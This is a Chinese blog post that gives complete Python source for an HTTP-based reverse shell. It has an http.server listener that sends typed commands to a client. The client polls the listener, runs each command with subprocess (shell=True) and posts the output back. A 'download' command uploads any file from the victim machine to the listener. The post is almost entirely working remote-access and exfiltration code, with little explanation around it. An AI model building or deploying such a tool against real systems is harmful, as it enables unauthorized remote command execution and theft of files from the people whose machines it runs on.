利用Python3 http.server模块实现基于HTTP协议的反向shell(含命令执行、文件下载)

  服务器端代码利用http.server内置模块,实现内置的do_GET以及do_POST方法,一定要根据规则给出response以及end_header。

  同时为了实现文件下载,需要用到cgi模块,用于解析文件参数。

 1 import http.server
 2 import optparse
 3 import sys
 4 import cgi
 5 
 6 
 7 
 8 class MyHandler(http.server.BaseHTTPRequestHandler):
 9     def do_GET(self):       
10       
11         command = input("# ")
12         self.send_response(200)
13         self.send_header('Content-type','text/html')
14         self.end_headers()
15         self.wfile.write(command.encode('utf-8'))    
16        
17 
18 
19 
20     def do_POST(self):   
21         if self.path == '/stores':
22             try:
23                 ctype,pdict = cgi.parse_header(self.headers['Content-Type']) 
24                 if ctype == 'multipart/form-data':
25                     fs = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST'})
26                 else:
27                     print("Unexpected post requests")
28                 fs_up =fs['file']
29                 with open('test.png', 'wb') as o:
30                     o.write(fs_up.file.read())
31                     self.send_response(200)
32                     self.end_headers()
33             except Exception as e:
34                 print(e)
35             return 
36 
37         self.send_response(200)
38         self.end_headers()
39         length = int(self.headers['Content-Length'])
40         post_data = self.rfile.read(length)     
41         print(post_data.decode('utf-8'))
42 
43 def get_params():
44         parser = optparse.OptionParser("Usage: <Program> -p port")
45         parser.add_option('-p','--port',dest='port', type='int', help="Specify listener port")
46         options,args = parser.parse_args()
47         if options.port is None:
48             print(parser.usage)
49             sys.exit(0)
50         if options.port > 65535 or options.port < 0:
51             print("Enter valide port")
52             sys.exit(0)
53         return options.port      
54 
55 if __name__ == "__main__":
56     port = get_params()
57     try:
58         server = http.server.HTTPServer(("",port),MyHandler)
59         server.serve_forever()
60     
61     except KeyboardInterrupt:
62         print("Exit the program")
63         server.socket.close()
64         

 


  客户端代码用requests模块实现:

 1 import requests
 2 import subprocess
 3 import optparse
 4 import sys
 5 import time
 6 import os
 7 
 8 class HTTPClient:
 9     def __init__(self) -> None:
10         self.target = self.get_params()[0]
11         self.port = self.get_params()[1]
12         self.url = "http://"+self.target + ":"+str(self.port)
13         # print(self.url)
14         
15 
16     def get_params(self):
17         parser = optparse.OptionParser("Usage: <Program> -p port")
18         parser.add_option('-p','--port',dest='port', type='int', help="Specify  server port")
19         parser.add_option('-t', '--target', dest='target', type='string', help="Specify server IP address")
20         options,args = parser.parse_args()
21         if options.port is None or options.target is None:
22             print(parser.usage)
23             sys.exit(0)
24       
25         return options.target, options.port
26     
27 
28     def run(self):
29         while True:
30             cmd = requests.get(self.url).text
31             if cmd.strip() == 'q':
32                 break
33 
34             elif cmd[0:8] == 'download':
35                 file_path = cmd[9:]
36                 if os.path.exists(file_path):
37                     files = {'file':open(file_path,'rb')}
38                     r = requests.post(self.url + '/stores',files=files)
39                 else:
40                     r = requests.post(self.url, data="The file does not exist".encode('utf-8'))
41 
42             else:
43                 try:
44                     command_result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT,encoding='GBK')
45                 except:
46                     command_result = "Failed to execute"
47                 finally:   
48                     requests.post(self.url,data=command_result.encode('utf-8'))
49                 time.sleep(3)
50 
51 
52 if __name__ == "__main__":
53     httpclient = HTTPClient()
54     httpclient.run()

 


实现效果如下图所示:

 

posted @ 2022-05-07 10:24  Jason_huawen  阅读(607)  评论(0编辑  收藏  举报